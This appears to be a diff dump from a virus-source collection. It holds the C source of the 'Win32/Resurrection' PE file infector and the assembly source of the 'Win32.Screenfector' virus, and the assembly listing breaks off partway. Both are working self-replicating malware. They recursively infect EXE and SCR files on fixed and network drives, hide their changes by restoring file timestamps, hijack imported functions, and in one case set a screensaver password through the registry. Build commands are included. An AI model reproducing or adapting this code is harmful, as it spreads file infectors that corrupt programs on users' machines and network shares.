while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
|
||||
&&
|
||||
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
|
||||
)
|
||||
{
|
||||
DWORD Base;
|
||||
|
||||
Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
|
||||
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
|
||||
while (RelocsInBlock--)
|
||||
{
|
||||
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
|
||||
{
|
||||
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
|
||||
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
|
||||
}
|
||||
PtrReloc++;
|
||||
}
|
||||
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
|
||||
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
|
||||
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
|
||||
}
|
||||
|
||||
// Check if this is the Import section
|
||||
if (i == VirusImportSection)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR * Imports;
|
||||
IMAGE_THUNK_DATA * DataImports;
|
||||
DWORD StartImports;
|
||||
DWORD DeltaRVAs;
|
||||
|
||||
DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
|
||||
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
|
||||
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
|
||||
while (Imports->OriginalFirstThunk)
|
||||
{
|
||||
// Fix some initialized fields in memory
|
||||
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
|
||||
Imports->OriginalFirstThunk += DeltaRVAs;
|
||||
Imports->Name += DeltaRVAs;
|
||||
Imports->FirstThunk += DeltaRVAs;
|
||||
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
|
||||
do
|
||||
{
|
||||
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
|
||||
}
|
||||
while ((++DataImports)->u1.AddressOfData);
|
||||
Imports++;
|
||||
}
|
||||
}
|
||||
|
||||
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
|
||||
MEMFREE(Ptr);
|
||||
Ptr = NULL;
|
||||
}
|
||||
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
|
||||
}//for
|
||||
|
||||
// Recalculate Header fields
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
|
||||
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
||||
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
|
||||
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
|
||||
PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
|
||||
PEHeader.OptionalHeader.SizeOfCode = 0;
|
||||
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
|
||||
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
|
||||
for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
|
||||
{
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
|
||||
PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
|
||||
PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
|
||||
if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
|
||||
PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
|
||||
}
|
||||
// Write new header and section table
|
||||
SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
|
||||
WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
|
||||
WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
|
||||
}
|
||||
|
||||
L_Exit_Infect:
|
||||
// Free allocated memory
|
||||
if (HostRelocs != NULL)
|
||||
MEMFREE(HostRelocs);
|
||||
if (Relocations != NULL)
|
||||
MEMFREE(Relocations);
|
||||
if (Section != NULL)
|
||||
MEMFREE(Section);
|
||||
if (Ptr != NULL)
|
||||
MEMFREE(Ptr);
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////////
|
||||
// Recursively search for files to infect
|
||||
///////////////////////////////////////////
|
||||
void SearchFiles(char * Path)
|
||||
{
|
||||
HANDLE FindHandle;
|
||||
HANDLE FHandle;
|
||||
WIN32_FIND_DATA FindResult;
|
||||
FILETIME Time1, Time2, Time3;
|
||||
|
||||
if (SetCurrentDirectory(Path))
|
||||
{
|
||||
// Search for EXE files in current directory
|
||||
if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
FHandle = CreateFile(FindResult.cFileName,
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_ARCHIVE,
|
||||
NULL
|
||||
);
|
||||
if (FHandle != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
|
||||
InfectFile(FHandle); // Infect file
|
||||
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
|
||||
CloseHandle(FHandle);
|
||||
}
|
||||
}
|
||||
while (FindNextFile(FindHandle, &FindResult));
|
||||
}
|
||||
FindClose(FindHandle);
|
||||
// Now search for subdirectories and process them
|
||||
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
do
|
||||
{
|
||||
if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char * DirName;
|
||||
|
||||
DirName = _strupr(_strdup(FindResult.cFileName));
|
||||
if (
|
||||
(memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM??
|
||||
&&
|
||||
(FindResult.cFileName[0] != '.') // Skip loops with "." and ".."
|
||||
)
|
||||
{
|
||||
SearchFiles(FindResult.cFileName);
|
||||
}
|
||||
free(DirName);
|
||||
}
|
||||
}
|
||||
while (FindNextFile(FindHandle, &FindResult));
|
||||
}
|
||||
FindClose(FindHandle);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/////////////////////////////////////////////
|
||||
// Search fixed and network drives to infect
|
||||
/////////////////////////////////////////////
|
||||
DWORD WINAPI SearchDrives()
|
||||
{
|
||||
DWORD Drives;
|
||||
BYTE CurrentDrive[] = "A:\\";
|
||||
DWORD DriveType;
|
||||
BYTE i;
|
||||
|
||||
Drives = GetLogicalDrives();
|
||||
for (i=0; i<sizeof(DWORD); i++)
|
||||
{
|
||||
if (Drives & (1<<i)) // Drive present?
|
||||
{
|
||||
CurrentDrive[0] = 'A' + i;
|
||||
DriveType = GetDriveType(CurrentDrive);
|
||||
// Only infect files in Fixed and Network Drives
|
||||
if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
|
||||
{
|
||||
SearchFiles(CurrentDrive);
|
||||
}
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
///////////
|
||||
// Payload
|
||||
///////////
|
||||
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
|
||||
{
|
||||
char * Msgs[] =
|
||||
{
|
||||
"Hey you, stupid",
|
||||
"Win32/Resurrection by Tcp/29A",
|
||||
"Warning! Don't close this window",
|
||||
"I already told you this but..."
|
||||
};
|
||||
static int i = 0;
|
||||
|
||||
return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
|
||||
}
|
||||
|
||||
|
||||
// Simulated host for 1st generation
|
||||
void Gen1()
|
||||
{
|
||||
MyMessageBox(NULL, "", NULL, MB_OK);
|
||||
}
|
||||
|
||||
|
||||
// Virus Entry Point
|
||||
void main()
|
||||
{
|
||||
BYTE InfectedFile[_MAX_PATH];
|
||||
DWORD ThreadID;
|
||||
DWORD ThreadInfID;
|
||||
HANDLE HThread;
|
||||
HANDLE InfThread;
|
||||
int i;
|
||||
HMODULE * HandleDLL = NULL;
|
||||
int ImportedDLLs = 0;
|
||||
|
||||
|
||||
// Get the infected filename
|
||||
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
|
||||
// And its memory address
|
||||
IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
|
||||
|
||||
IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);
|
||||
|
||||
if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
|
||||
{
|
||||
// Get ptr to Sections
|
||||
ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
|
||||
// Get ptr to virus Sections
|
||||
ISection += FirstVirusSection;
|
||||
|
||||
if (Generation++ == 1)
|
||||
{ // Make some easy 1st-gen calcs to avoid complex ones in next generations
|
||||
HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
|
||||
VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
|
||||
// Get the order of sections
|
||||
for (i=0; i<VirusSections; i++)
|
||||
{
|
||||
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
||||
&&
|
||||
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
||||
)
|
||||
{ // This is the code section
|
||||
VirusCodeSection = i;
|
||||
VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
||||
&&
|
||||
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
||||
)
|
||||
{ // This is the import section
|
||||
VirusImportSection = i;
|
||||
VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
|
||||
{ // This is the reloc section
|
||||
VirusRelocSection = i;
|
||||
VirusRelocSize = ISection[i].Misc.VirtualSize;
|
||||
VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//for
|
||||
}
|
||||
else // Not first generation
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR * HostImports;
|
||||
int i;
|
||||
|
||||
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
||||
// Count imported DLLs
|
||||
while (HostImports->OriginalFirstThunk)
|
||||
{
|
||||
ImportedDLLs++;
|
||||
HostImports++;
|
||||
}
|
||||
HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
|
||||
// Make host imports
|
||||
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
||||
for (i=0; i<ImportedDLLs; i++)
|
||||
{
|
||||
DWORD * FunctionName;
|
||||
DWORD * FunctionAddr;
|
||||
LPCTSTR Name;
|
||||
LPCTSTR StExitThread = "ExitThread";
|
||||
|
||||
if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
|
||||
{ // Exit if not find a DLL
|
||||
char StError[100];
|
||||
|
||||
MEMFREE(HandleDLL);
|
||||
sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
|
||||
MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
// Perform host imports
|
||||
FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
|
||||
FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
|
||||
while (*FunctionName)
|
||||
{
|
||||
if (*FunctionName & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
|
||||
*FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
|
||||
}
|
||||
else
|
||||
{
|
||||
Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
|
||||
// Change ExitProcess by ExitThread
|
||||
if (!strcmp(Name, "ExitProcess"))
|
||||
Name = StExitThread;
|
||||
// Set payload
|
||||
if (!strcmp(Name, "MessageBoxA"))
|
||||
*FunctionAddr = (DWORD)&MyMessageBox;
|
||||
else
|
||||
*FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
|
||||
}
|
||||
FunctionName++;
|
||||
FunctionAddr++;
|
||||
}
|
||||
HostImports++;
|
||||
}
|
||||
}
|
||||
|
||||
HostEP += (DWORD)IDosHeader;
|
||||
// Exec host with a thread
|
||||
if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
|
||||
{
|
||||
HANDLE VirusMutex;
|
||||
|
||||
// Check if already resident
|
||||
if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
|
||||
&&
|
||||
(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
)
|
||||
{
|
||||
// Create infection thread
|
||||
InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
|
||||
// Assign a low priority
|
||||
SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
|
||||
// Activate it
|
||||
ResumeThread(InfThread);
|
||||
// Wait until infection completed
|
||||
WaitForSingleObject(InfThread, INFINITE);
|
||||
ReleaseMutex(VirusMutex);
|
||||
}
|
||||
// Wait until host thread finnished
|
||||
WaitForSingleObject(HThread, INFINITE);
|
||||
}
|
||||
|
||||
for (i=0; i<ImportedDLLs; i++)
|
||||
{
|
||||
FreeLibrary(HandleDLL[i]);
|
||||
}
|
||||
if (HandleDLL != NULL)
|
||||
MEMFREE(HandleDLL);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,643 @@
|
||||
; Å-----------
|
||||
; Win32.Screenfector by MalFunction
|
||||
;
|
||||
; hi out there! this is my first little win32 infector. there's nothing
|
||||
; special at it, no new technique, no new way of infecting. yes, it is
|
||||
; a very poor coded direct action infector. :(
|
||||
; BUT: have you ever heard of mcafee's silly feature 'scanning while
|
||||
; the screensaver runs'?
|
||||
; this virus is the answer to that feature. an infected exe-file
|
||||
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
|
||||
; an infected scr-file will create a new thread for infecting and then
|
||||
; immediately return to the host. the created thread infectz the whole
|
||||
; HD usin' a dir traversal. i know it's slow and makes the user
|
||||
; suspicious, but it's funny: a virus that infectz during the screensaver ...
|
||||
; -------Å
|
||||
; thanx 'n' greetz:
|
||||
; -----------------
|
||||
;
|
||||
; Wang_E: i'm sure that u'll have yer own OS one day.
|
||||
; thx for all da help, my friend!
|
||||
; BlackArt: yeah, I'm still codin' that trojan ...
|
||||
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
|
||||
; Blind Guardian geh”rt? ;)
|
||||
; Benny/29A: all yer tutes in 29a#4 rox!
|
||||
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
|
||||
;
|
||||
;
|
||||
; compile with: tasm32.exe /m9 /ml screenf.asm
|
||||
; tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
|
||||
; pewrite.exe screenf.exe
|
||||
;
|
||||
; (PEWrite is part of Lord Julus' VX-tasy#1)
|
||||
|
||||
|
||||
.386
|
||||
.model flat
|
||||
|
||||
extrn MessageBoxA:proc
|
||||
extrn ExitProcess:proc
|
||||
extrn GetProcAddress:proc
|
||||
extrn GetModuleHandleA:proc
|
||||
|
||||
.data
|
||||
dummy_title DB "senseless dummy prog v1.01",0
|
||||
dummy_msg DB "dummy prog carrying a little win32 infector...",0
|
||||
|
||||
.code
|
||||
|
||||
dummy:
|
||||
push 0 ; just a dummy ...
|
||||
push offset dummy_title
|
||||
push offset dummy_msg
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
v_size = v_end - v_start
|
||||
|
||||
v_start: ; gimme that delta
|
||||
call delta
|
||||
delta:
|
||||
pop ebp
|
||||
jmp over_var ; variables part I
|
||||
|
||||
filehandle DD ?
|
||||
maphandle DD ?
|
||||
mapaddr DD ?
|
||||
mapsize DD ?
|
||||
|
||||
keyhandle DD ?
|
||||
value1 DD 1
|
||||
|
||||
hmodule DD ?
|
||||
oldEIP DD ?
|
||||
filealign DD ?
|
||||
|
||||
k32name DB "KERNEL32",0
|
||||
advapiname DB "ADVAPI32",0
|
||||
procsfound DB 0
|
||||
|
||||
searchmask DB "*.SCR",0
|
||||
wildcard DB "*.*",0
|
||||
root DB '\',0
|
||||
nested DB 0
|
||||
dotdot DB "..",0
|
||||
|
||||
fnhandle DD ?
|
||||
fnhandle2 DD ?
|
||||
|
||||
threadID DD ?
|
||||
|
||||
_alloc DD ?
|
||||
|
||||
ptrGetProcAddress DD ?
|
||||
ptrGetModuleHandleA DD ?
|
||||
|
||||
filetype DB 'E'
|
||||
|
||||
_GetProcAddress DB "GetProcAddress",0
|
||||
_GetModuleHandleA DB "GetModuleHandleA",0
|
||||
|
||||
APIs:
|
||||
GetWindowsDirectoryA DD ?
|
||||
GetCurrentDirectoryA DD ?
|
||||
SetCurrentDirectoryA DD ?
|
||||
GetSystemDirectoryA DD ?
|
||||
GetCommandLineA DD ?
|
||||
GetSystemTime DD ?
|
||||
ExitThread DD ?
|
||||
CreateThread DD ?
|
||||
CloseHandle DD ?
|
||||
UnmapViewOfFile DD ?
|
||||
MapViewOfFile DD ?
|
||||
SetFileAttributesA DD ?
|
||||
CreateFileMappingA DD ?
|
||||
CreateFileA DD ?
|
||||
FindNextFileA DD ?
|
||||
FindFirstFileA DD ?
|
||||
VirtualAlloc DD ?
|
||||
LoadLibraryA DD ?
|
||||
|
||||
RegSetValueExA DD ?
|
||||
|
||||
over_var:
|
||||
DB 0b8h ; mov eax,imm32 ; save old EIP
|
||||
oldEIP2 DD offset dummy
|
||||
mov [ebp+oldEIP-delta],eax
|
||||
|
||||
DB 0b8h ; mov eax,imm32 ; trace to import table
|
||||
baseaddress DD 00400000h
|
||||
add eax,[eax+3ch]
|
||||
add eax,80h
|
||||
mov eax,[eax]
|
||||
add eax,[ebp+baseaddress-delta]
|
||||
import1:
|
||||
cmp dword ptr [eax],0 ; last import descriptor?
|
||||
jz quit
|
||||
|
||||
mov esi,[eax+0Ch]
|
||||
add esi,[ebp+baseaddress-delta]
|
||||
|
||||
lea edi,[ebp+k32name-delta] ; is it kernel32?
|
||||
push 2
|
||||
pop ecx
|
||||
rep cmpsd
|
||||
jz import2
|
||||
add eax,14h
|
||||
jmp import1
|
||||
|
||||
import2:
|
||||
mov ebx,[eax] ; search for the needed API
|
||||
mov edx,[eax+10h] ; addresses ...
|
||||
add ebx,[ebp+baseaddress-delta]
|
||||
add edx,[ebp+baseaddress-delta]
|
||||
|
||||
import3:
|
||||
cmp dword ptr [ebx],0
|
||||
jz no_more_imp
|
||||
|
||||
mov esi,[ebx]
|
||||
add esi,[ebp+baseaddress-delta]
|
||||
inc esi
|
||||
inc esi
|
||||
push esi
|
||||
|
||||
lea edi,[ebp+_GetProcAddress-delta] ; is it GetProcAddress?
|
||||
push 14
|
||||
pop ecx
|
||||
rep cmpsb
|
||||
jnz no_store1
|
||||
mov edi,[edx]
|
||||
mov [ebp+ptrGetProcAddress-delta],edi
|
||||
inc byte ptr [ebp+procsfound-delta]
|
||||
|
||||
no_store1:
|
||||
lea edi,[ebp+_GetModuleHandleA-delta] ; is it GetModuleHandleA?
|
||||
push 4
|
||||
pop ecx
|
||||
pop esi
|
||||
rep cmpsd
|
||||
jnz no_store2
|
||||
mov edi,[edx]
|
||||
mov [ebp+ptrGetModuleHandleA-delta],edi
|
||||
inc byte ptr [ebp+procsfound-delta]
|
||||
|
||||
no_store2:
|
||||
add ebx,4
|
||||
add edx,4
|
||||
jmp import3
|
||||
|
||||
no_more_imp:
|
||||
cmp byte ptr [ebp+procsfound-delta],2 ; both APIaddresses found?
|
||||
jnz quit
|
||||
mov byte ptr [ebp+procsfound-delta],0
|
||||
|
||||
lea eax,[ebp+k32name-delta] ; gimme k32 base
|
||||
push eax
|
||||
call [ebp+ptrGetModuleHandleA-delta]
|
||||
mov [ebp+hmodule-delta],eax
|
||||
|
||||
push 18
|
||||
pop ecx
|
||||
lea edi,[ebp+APIs-delta]
|
||||
lea esi,[ebp+ptr_table-delta]
|
||||
get_APIs: ; retrieve all needed APIz
|
||||
lodsd
|
||||
add eax,ebp
|
||||
sub eax,offset delta
|
||||
push ecx
|
||||
push edi
|
||||
push esi
|
||||
push eax
|
||||
push dword ptr [ebp+hmodule-delta]
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
pop esi
|
||||
pop edi
|
||||
pop ecx
|
||||
test eax,eax
|
||||
jz quit
|
||||
stosd
|
||||
loop get_APIs
|
||||
|
||||
push 40h ; allocate 1000 bytes
|
||||
push 1000h
|
||||
push 1000
|
||||
push 0
|
||||
call [ebp+VirtualAlloc-delta]
|
||||
test eax,eax
|
||||
jz quit
|
||||
mov [ebp+_alloc-delta],eax
|
||||
|
||||
add eax,580 ; get system time
|
||||
push eax
|
||||
push eax
|
||||
call [ebp+GetSystemTime-delta]
|
||||
pop eax
|
||||
cmp word ptr [eax+4],0 ; sunday?
|
||||
jnz no_payload
|
||||
cmp word ptr [eax+6],7 ; 1st sunday of month?
|
||||
ja no_payload
|
||||
|
||||
lea eax,[ebp+advapiname-delta] ; load advapi32.dll
|
||||
push eax
|
||||
call [ebp+LoadLibraryA-delta]
|
||||
test eax,eax
|
||||
jz no_payload
|
||||
|
||||
push eax ; get RegOpenKeyExA address
|
||||
lea ebx,[ebp+_RegOpenKeyExA-delta]
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
|
||||
lea ebx,[ebp+keyhandle-delta] ; open the reg key
|
||||
push ebx
|
||||
push 001f0000h
|
||||
push 0
|
||||
lea ebx,[ebp+regkey-delta]
|
||||
push ebx
|
||||
push 80000001h
|
||||
call eax
|
||||
|
||||
pop eax ; get RegSetValueExA address
|
||||
lea ebx,[ebp+_RegSetValueExA-delta]
|
||||
push ebx
|
||||
push eax
|
||||
call [ebp+ptrGetProcAddress-delta]
|
||||
mov [ebp+RegSetValueExA-delta],eax
|
||||
|
||||
push 25 ; set screensaver pwd
|
||||
lea ebx,[ebp+value2-delta]
|
||||
push ebx
|
||||
push 3
|
||||
push 0
|
||||
lea ebx,[ebp+value2name-delta]
|
||||
push ebx
|
||||
push dword ptr [ebp+keyhandle-delta]
|
||||
call eax
|
||||
|
||||
push 4 ; enable screensaver pwd
|
||||
lea eax,[ebp+value1-delta]
|
||||
push eax
|
||||
push 4
|
||||
push 0
|
||||
lea eax,[ebp+value1name-delta]
|
||||
push eax
|
||||
push dword ptr [ebp+keyhandle-delta]
|
||||
call [ebp+RegSetValueExA-delta]
|
||||
|
||||
no_payload:
|
||||
mov eax,[ebp+_alloc-delta] ; get current dir
|
||||
add eax,320
|
||||
push eax
|
||||
push 260
|
||||
call [ebp+GetCurrentDirectoryA-delta]
|
||||
|
||||
cmp byte ptr [ebp+filetype-delta],'E' ; is an EXE or a SCR executed?
|
||||
jnz screen_save
|
||||
|
||||
its_exe:
|
||||
mov dword ptr [ebp+searchmask+1-delta],'RCS.' ; set for findfile
|
||||
mov byte ptr [ebp+filetype-delta],'S'
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; infect windoze dir
|
||||
push eax
|
||||
push 320
|
||||
push eax
|
||||
call [ebp+GetWindowsDirectoryA-delta]
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
call infect_dir
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; infect windoze\system dir
|
||||
push eax
|
||||
push 320
|
||||
push eax
|
||||
call [ebp+GetSystemDirectoryA-delta]
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
call infect_dir
|
||||
|
||||
mov eax,[ebp+_alloc-delta] ; go to old dir
|
||||
add eax,320
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
|
||||
quit:
|
||||
jmp [ebp+oldEIP-delta] ; jmp to host
|
||||
|
||||
screen_save:
|
||||
mov dword ptr [ebp+searchmask+1-delta],'EXE.' ; set for findfile
|
||||
mov byte ptr [ebp+filetype-delta],'E'
|
||||
|
||||
call [ebp+GetCommandLineA-delta] ; get CommandLine
|
||||
mov edi,eax
|
||||
xor eax,eax
|
||||
get_end:
|
||||
scasb
|
||||
jnz get_end
|
||||
|
||||
cmp byte ptr [edi-2],'s' ; was the parameter /s ?
|
||||
jz run_it ; (we don't want to infect
|
||||
cmp byte ptr [edi-2],'S' ; when scr is configurated)
|
||||
jz run_it
|
||||
jmp quit
|
||||
|
||||
run_it:
|
||||
mov [ebp+save_ebp-delta],ebp ; save EBP for new thread
|
||||
|
||||
lea eax,[ebp+threadID-delta] ; create the infection thread
|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
lea eax,[ebp+myThread-delta]
|
||||
push eax
|
||||
push 0
|
||||
push 0
|
||||
call [ebp+CreateThread-delta]
|
||||
|
||||
jmp quit ; return to host
|
||||
|
||||
myThread:
|
||||
DB 0bdh ; mov ebp,imm32 ; get delta handle
|
||||
save_ebp DD ?
|
||||
|
||||
lea eax,[ebp+root-delta] ; set root dir as current dir
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta]
|
||||
|
||||
call dirtrav ; INFECT!
|
||||
|
||||
push 0
|
||||
call [ebp+ExitThread-delta] ; exit the thread
|
||||
|
||||
dirtrav:
|
||||
call infect_dir ; infect directory
|
||||
|
||||
push dword ptr [ebp+_alloc-delta] ; find dir
|
||||
lea eax,[ebp+wildcard-delta]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA-delta]
|
||||
push eax
|
||||
inc eax
|
||||
jz check_root
|
||||
dec eax
|
||||
mov [ebp+fnhandle-delta],eax
|
||||
jmp test_if_dir
|
||||
|
||||
findnextdir:
|
||||
push dword ptr [ebp+_alloc-delta] ; find next dir
|
||||
push dword ptr [ebp+fnhandle-delta]
|
||||
call [ebp+FindNextFileA-delta]
|
||||
test eax,eax
|
||||
jz check_root
|
||||
|
||||
test_if_dir:
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
test dword ptr [eax],10h ; is it a directory?
|
||||
jz findnextdir
|
||||
mov eax,[ebp+_alloc-delta]
|
||||
add eax,44
|
||||
cmp byte ptr [eax],'.' ; is it '.' or '..'?
|
||||
jz findnextdir
|
||||
|
||||
push eax
|
||||
call [ebp+SetCurrentDirectoryA-delta] ; go to found dir
|
||||
inc byte ptr [ebp+nested-delta]
|
||||
call dirtrav ; recursive!
|
||||
mov eax,[esp]
|
||||
mov [ebp+fnhandle-delta],eax
|
||||
jmp findnextdir
|
||||
|
||||
check_root:
|
||||
cmp byte ptr [ebp+nested-delta],0 ; are we at root?
|
||||
jz end_trav
|
||||
|
||||
